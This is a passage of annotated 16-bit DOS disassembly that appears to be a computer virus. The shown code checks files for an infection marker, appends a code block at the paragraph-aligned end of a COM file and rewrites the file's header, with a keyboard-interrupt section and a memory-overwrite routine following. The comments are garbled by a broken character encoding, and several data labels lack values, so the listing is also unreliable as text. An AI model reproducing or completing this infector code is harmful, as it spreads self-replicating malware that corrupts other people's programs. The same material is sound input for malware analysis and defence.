0913 8B0EF609      MOV     CX,[09F6]
0917 2E            CS:
0918 8E1EAD04      MOV     DS,[04AD]            ;
091C BA0000        MOV     DX,0000
091F E848FE        CALL    076A                 ;
0922 8CC8          MOV     AX,CS                ;
0924 8ED8          MOV     DS,AX
0926 B85701        MOV     AX,0157
0929 8B1EEE09      MOV     BX,[09EE]
092D 8B0E7507      MOV     CX,[0775]
0931 8B167707      MOV     DX,[0777]
0935 E832FE        CALL    076A
0938 B83E00        MOV     AX,003E              ; a h
093B 8B1EEE09      MOV     BX,[09EE]
093F E828FE        CALL    076A
0942 8B46F2        MOV     AX,[BP-0E]           ;
0945 8ED8          MOV     DS,AX
0947 8B56F8        MOV     DX,[BP-08]
094A B84301        MOV     AX,0143              ;  
094D 2E            CS:
094E 8B0E7307      MOV     CX,[0773]
0952 E815FE        CALL    076A                 ;
0955 0E            PUSH    CS
0956 1F            POP     DS
0957 C3            RET

;
; COM qq ˥
;

0958 803E4704B9    CMP     BYTE PTR [0447],B9   ;  qqE aa ?
095D 7502          JNZ     0961
095F EBC5          JMP     0926
0961 813E48041302  CMP     WORD PTR [0448],0213
0967 7502          JNZ     096B
0969 EBBB          JMP     0926
096B B84202        MOV     AX,0242              ; a {a 
096E 33C9          XOR     CX,CX
0970 33D2          XOR     DX,DX
0972 E8F5FD        CALL    076A
0975 050F00        ADD     AX,000F              ; 16   ei
0978 25F0FF        AND     AX,FFF0
097B A3D804        MOV     [04D8],AX
097E B84200        MOV     AX,0042              ; a {a 
0981 8B1EEE09      MOV     BX,[09EE]
0985 33C9          XOR     CX,CX
0987 8B16D804      MOV     DX,[04D8]
098B E8DCFD        CALL    076A
098E E84000        CALL    09D1                 ; qѡ ǡ
0991 B84000        MOV     AX,0040
0994 8B1EEE09      MOV     BX,[09EE]
0998 8B0EF609      MOV     CX,[09F6]
099C 2E            CS:
099D 8E1EAD04      MOV     DS,[04AD]            ;
09A1 BA0000        MOV     DX,0000
09A4 E8C3FD        CALL    076A
09A7 B84200        MOV     AX,0042              ; qa 
09AA B90000        MOV     CX,0000
09AD BA0000        MOV     DX,0000
09B0 E8B7FD        CALL    076A
09B3 8CC8          MOV     AX,CS
09B5 8ED8          MOV     DS,AX
09B7 B84000        MOV     AX,0040              ;
09BA 2E            CS:
09BB 8B1EEE09      MOV     BX,[09EE]
09BF BAAF04        MOV     DX,04AF
09C2 B96400        MOV     CX,0064
09C5 E8A2FD        CALL    076A
09C8 8CC8          MOV     AX,CS
09CA 8ED8          MOV     DS,AX
09CC 8EC0          MOV     ES,AX
09CE E955FF        JMP     0926

09D1 1E            PUSH    DS                   ;
09D2 06            PUSH    ES                   ; aa qѡ ǡ
09D3 A1AD04        MOV     AX,[04AD]            ; qѡ ǩ Aaa
09D6 8EC0          MOV     ES,AX                ;
09D8 33FF          XOR     DI,DI                ; DI=0
09DA 33F6          XOR     SI,SI                ; SI=0
09DC 8B0EF609      MOV     CX,[09F6]            ; CX=
09E0 FC            CLD
09E1 F3            REPZ
09E2 A4            MOVSB
09E3 A1AD04        MOV     AX,[04AD]            ;
09E6 8ED8          MOV     DS,AX                ;
09E8 E848F6        CALL    0033                 ; qѡ
09EB 07            POP     ES
09EC 1F            POP     DS
09ED C3            RET

09EE
09F1
09F5
09F9
09FD
09FE
0A00
0A02                                            ;  Int 9  

0A06 83FB05        CMP     BX,+05               ; a Ѕi 5 a ?
0A09 7222          JB      0A2D
0A0B FC            CLD
0A0C B021          MOV     AL,21                ;
0A0E 8B4EFA        MOV     CX,[BP-06]           ; 
0A11 8E46F2        MOV     ES,[BP-0E]           ; 
0A14 8B7EF8        MOV     DI,[BP-08]           ;
0A17 F3            REPZ                         ; AL -> ES:[DI]
0A18 AA            STOSB
0A19 8B4EFA        MOV     CX,[BP-06]           ;
0A1C 81F96902      CMP     CX,0269              ; 269h a ?
0A20 7203          JB      0A25                 ;
0A22 B96902        MOV     CX,0269              ;
0A25 BEA901        MOV     SI,01A9              ; aa A saea.
0A28 8B7EF8        MOV     DI,[BP-08]           ;
0A2B F3            REPZ
0A2C A4            MOVSB
0A2D C3            RET

